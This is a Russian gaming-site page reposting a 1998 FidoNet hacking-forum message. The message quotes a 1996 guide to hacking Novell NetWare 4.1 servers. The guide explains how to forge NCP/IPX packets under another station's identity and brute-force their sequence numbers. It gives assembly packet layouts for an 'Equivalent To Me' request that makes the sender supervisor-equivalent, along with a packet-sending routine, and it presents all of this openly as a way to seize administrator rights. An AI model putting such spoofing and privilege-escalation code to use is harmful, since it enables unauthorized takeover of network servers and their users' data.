Возможно вы искали: 'WarBirds 2005'

May 15 2025 19:43:18
  • Как сделать 8Gamers.Ru домашней страницей?
  • Игры
    • База данных по играх
    • Игровые новости
    • Игровая индустрия
    • Обзоры на игры
    • Прохождения игр
    • Гайды к играм
    • Превью о играх
    • Игровые тизеры
    • Игровые арты
    • Игровые обои
    • Игровые скриншоты
    • Игровые обложки
    • Игровые трейлеры
    • Игровое видео
    • Вышедшие игры
    • Ближайшие релизы игр
  • Кино и ТВ
    • База данных по кино
    • Статьи о кино
    • Постеры
    • Кадры из кино
    • Кино трейлеры
    • Сегодня в кино
    • Скоро в кино
  • Комиксы и манга
    • Манга по алфавиту
    • База данных по комиксах
    • Читать онлайн комиксы
    • Читать онлайн манга
    • База персонажей
  • Читы и коды
    • Чит-коды для PC игр
    • Чит-коды для консольных игр
    • Трейнеры
    • Коды Game Genie
  • Моддинг
    • Модификации
    • Карты к играм
    • Программы для моддинга
    • Статьи о моддинге
  • Геймдев
    • Всё о создании игр
    • Список движков
    • Утилиты в помощь игроделу
    • Конструкторы игр
    • Игровые движки
    • Библиотеки разработки
    • 3D-модели
    • Спрайты и тайлы
    • Музыка и звуки
    • Текстуры и фоны
  • Рецензии
    • Игры
    • Кино
    • Аниме
    • Комиксы
    • Мангу
    • Саундтреки
  • Саундтреки
    • Лирика
  • Файлы
    • Патчи к играм
    • Русификаторы к играм
    • Сохранения к играм
    • Субтитры к кино
  • Медиа
    • Видео
    • Фото
    • Аудио
    • Фан-арты
    • Косплей
    • Фото с виставок
    • Девушки из игр
    • Рисунки
    • Рисуем онлайн
    • Фотохостинг
  • Юмор
    • Анекдоты
    • Афоризмы
    • Истории
    • Стишки и эпиграммы
    • Тосты
    • Цитаты
  • Флеш
    • Азартные
    • Аркады
    • Бродилки
    • Гонки
    • Для девочек
    • Для мальчиков
    • Драки
    • Квесты
    • Леталки
    • Логические
    • Мультфильмы
    • Открытки
    • Приколы
    • Разное
    • Спорт
    • Стратегии
    • Стрелялки
Статистика

Статей: 87772
Просмотров: 96111483
Игры
Injustice:  Gods Among Us
Injustice: Gods Among Us
...
Dark Souls 2
Dark Souls 2
Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4
Battlefield 4
Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...
Кино
Steins;Gate
Steins;Gate
Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза
Ку! Кин-дза-дза
Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...
Обзоры на игры
• Обзор Ibara [PCB/PS2] 18357
• Обзор The Walking ... 18801
• Обзор DMC: Devil M... 19879
• Обзор на игру Valk... 15877
• Обзор на игру Stars! 17764
• Обзор на Far Cry 3 17948
• Обзор на Resident ... 16024
• Обзор на Chivalry:... 17508
• Обзор на игру Kerb... 17981
• Обзор игры 007: Fr... 16619
Превью о играх
• Превью к игре Comp... 17960
• Превью о игре Mage... 14464
• Превью Incredible ... 14721
• Превью Firefall 13479
• Превью Dead Space 3 16334
• Превью о игре SimC... 14730
• Превью к игре Fuse 15442
• Превью Red Orche... 15542
• Превью Gothic 3 16343
• Превью Black & W... 17354
Главная » Статьи » Разное » хак NW 4.1x (security ipx)

хак NW 4.1x (security ipx)

Ключевые слова: security, ipx, (найти похожие документы)

_ RU.NETHACK (2:5077/15.22) _______________________________________ RU.NETHACK _
From : Anton Korenyako 2:5020/1223.108 18 Feb 98 03:47:00
Subj : хак NW 4.1x
________________________________________________________________________________
Hi, Timur!

Ч В Суб Фев 14 1998, в 22:43, Timur Muminov send letta 2 Eugeny Kreewosheyew.

TM> 13 Feb 98 00:22, Eugeny Kreewosheyew wrote to Vladislav Myasnyankin:
EK>> Вpядли. У Novell один из самых гpамотных алгоpитмов кэшиpования.
EK>> Вот NT так пpогнyть - плевое дело, а на Netware дpyгие способы
EK>> искать надо.
TM> А есть ли способы перехвата пакетов по сети и декодирования паролей
TM> для NW 4.** ?? может кто алгоритм кинет шифрования в новелле ?? или
TM> хоть что-то для начала ? дальше уж сам как-нить.
Может это тебя спасет?

=== Cut ===

КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1
-------------------------------


Гусев Игорь и Ильченко Евгений



1996


Содержание


Введение...............................................................3
1.Принцип обмена пакетами..............................................4
2.Общая идея взлома....................................................4
3.Как получить права супервизора.......................................5
4.Последствия..........................................................7
Заключение............................................................10


Введение



Как вы знаете все может быть сломано и NOVELL NETWARE не является ис-
ключением. Однако время взлома чего-нибудь зависит от времени получения
информации о этом. Чем больше информации вы найдете, тем проще вам бу-
дет взламывать.
В этом документе мы хотели немного рассказать о сети NOVELL и о
том как ее взломать.

1.Принцип обмена пакетами.

Прежде всего, сервер и рабочие станции посылают пакеты друг другу в
соответствие со специальным протоколом известным как Netware Core
Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются
уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте.
Это поле известно как Sequence Number. Смотрите на структуру пакета.


Структура пакета

Поле Число Положение азначение
байт в памяти

-------------------- Физический заголовок пакета -----------------------

ReceiverAddress 6 Normal Адрес рабочей станции , которая бу-
дет получать пакет
SenderAddress 6 Normal Адрес рабочей станции , которая по-
сылает пакет
DataLength 2 High-Low Длина пакета

----------------------- Заголовок протокола IPX ------------------------
CheckSum 2 Normal Контрольная сумма
IpxLength 2 High-Low Длина пакета
HopCount 1 - Число мостов
PacketType 1 - Тип пакета
DestNetwork 4 Normal Адрес сети назначения
DestNode 6 Normal Адрес станции назначения
DestSocket 2 Low-High Сокет программы назначения
SourceNetwork 4 Normal Адрес сети источника
SourceNode 6 Normal Адрес станции источника
SourceSocket 2 Low-High Сокет программы источника

---------------------- Заголовок протокола NCP -------------------------
RequestType 2 Low-High Зависит от запроса
SequenceNumber 1 - омер пакета
ConectionNumberLow 1 - омер соединения.азначается во
время подсоединения станции к сер-
веру
TaskNumber 1 - омер задачи.Это для рабочей стан-
ции наверно. е стоит о нем заботи-
ться.Просто поставте 0 или любое
значение.
ConectionNumberHigh 1 - Всегда 0.
FunctionCode 1 - Идентификатор функции

------------------------ Данные протокола NCP -------------------------
- - - Зависит от типа запроса и функции


Инициатором является станция. Она посылает пакет с запросом и ждет от-
вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со-
кет , номер соединения и sequence number. Если что-нибудь не в порядке
сервер отказывается выполнять запрашиваемую операцию и посылать ответ.

2.Общая идея взлома.

Как было сказано выше сервер проверяет все пакеты, которые он полу-
чает. о если сформировать пакет как это делает другая станция, поста-
вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер
никогда не узнает чей запрос он выполняет. Основная трудность - sequence
number, потому что другие поля могут быть получены с помощью обычных
функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос-
лать тот же самый пакет 255 раз с разными sequens numbers.

3.Как получить права супервизора

Вы можете получить права супервизора просто став его эквиваленитом.
Есть функция известная как EQUEVALENT TO ME , которую следует посылать
от имени супервизора. Смотрите на структуру пакета.

Структура пакета с фукцией EQUEVALENT TO ME

--------------------- Заголовок физического пакета ---------------------
RecAdr db 00,20h,0afh,4fh,5fh,0ah
SndAdr db 00,20h,0afh,089h,022h,0afh
DataLength db 01,68h
------------------------- Заголовок IPX пакета -------------------------
dw 0ffffh
IpxLength db 01,67h
db 0
db 17
DestNetwork db ?,?,?,?
DestNode db ?,?,?,?,?,?
DestSocket db 04,51h
SourceNetWork db 00,00,01,02
SourceNode db ?,?,?,?,?,?
SourceSocket db 40h,03
------------------------ Заголовок пакета NCP -------------------------
db 22h,22h
SequenceNumber db 48
ConnectionNumberLow db 24
db 4
db 0
db 68h
db 2
-------------------------- Данные пакета NCP --------------------------
dd -1
dd 514
S1_2: dd offset S1_1 - offset S1_2-4
dd 0
dd 9
dd 0
dd 0
dd 0
S1ID db 67h,02h,00,06h
dd 1
dd 5
dd 34
db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
dd 0
dd 1
dd 26
db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
db '.',0,'T',0,'S',0,'U',0

S1_1:


Чтобы получить адрес, сеть, сокет, ID, номер соединения используй-
те след. функции.


Получить номер соединения
ah=E3h
ds:si=> ConReq
dw 2 - длина
db 16h - подфункция
db ? - номер соединения
es:di=> ConRep
dw 62 - длина
db 4 dup (?)
dw ? - тип пользователя
db 56 duo (?) - имя пользователя
int 21h

Вы можете послать пакет через IPX драйвер (функция 9), однако в этом
случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем,
что сервер не проверяет адрес отправителя там.
Вы также можете послать через LSL драйвер, но это слишком сложно.
Самый простой способ - послать через ODIPKT драйвер ( функция 4 ).

Послать пакет через Odipkt

ah=4
cx=длина
ds:si=>пакет
int 60h
C=1 если ошибка


Процедура посылки пакетов

Send proc
mov SequenceNumber,0
@@1: push ds
push es
mov ah,4
mov cx,Length
mov si,offset Packet
int 60h
pop es
pop ds
jc @@1
mov cx,1000
loop $-2
dec SequenceNumber
jne @@1
ret
Send endp

4.Последствия.

После ответа на пакет сервер ждет следующего с увеличенным на 1
sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж-
ду сервером и станцией, последняя повиснет. Этого можно избежать посыл-
кой еще 255*256 пакетов.

Заключение

Если вы реализуете программу по этому документу у вас будут права
супервизора. Мы надеемся, что вы не будете вредить таким же пользовате-
лям, каким вы до этого были.

Copyright 1995. by dISEr&_Igor_ (http://www.tsu.tomsk.su/~eugene/)
Все комментарии, предожения,
вопросы шлите по адресу : eugene@info.tsu.tomsk.su

=== Cut ===

C Ya L8ah

GreenDrug
greendrug@bfg.ml.org

--- GoldED 2.51.A0901+
* Origin: (2:5020/1223.108)

1004 Прочтений •  [хак NW 4.1x (security ipx)] [08.05.2012] [Комментариев: 0]
Добавил: Ukraine Vova
Ссылки
HTML: 
[BB Url]: 
Похожие статьи
Название Добавил Добавлено
• хак NW 4.1x (security ipx) Ukraine Vova 08.05.2012
Ни одного комментария? Будешь первым :).
Пожалуйста, авторизуйтесь для добавления комментария.

Проект входит в сеть сайтов «8Gamers Network»

Все права сохранены. 8Gamers.NET © 2011 - 2025

Статьи
Рецензия на Pressure
Рецензия на Pressure
Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chronicles of Zerzura
Рецензия на Lost Chron...
Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge
Рецензия на The Bridge
«Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity
Рецензия на SimCity
Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy & Tactics: World War 2
Рецензия на Strategy &...
Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scribblenauts Unlimited
Рецензия на игру Scrib...
По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walking Dead: Survival Instinct, The
Рецензия на игру Walki...
Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...
Обратная связь | RSS | Донейт | Статистика | Команда | Техническая поддержка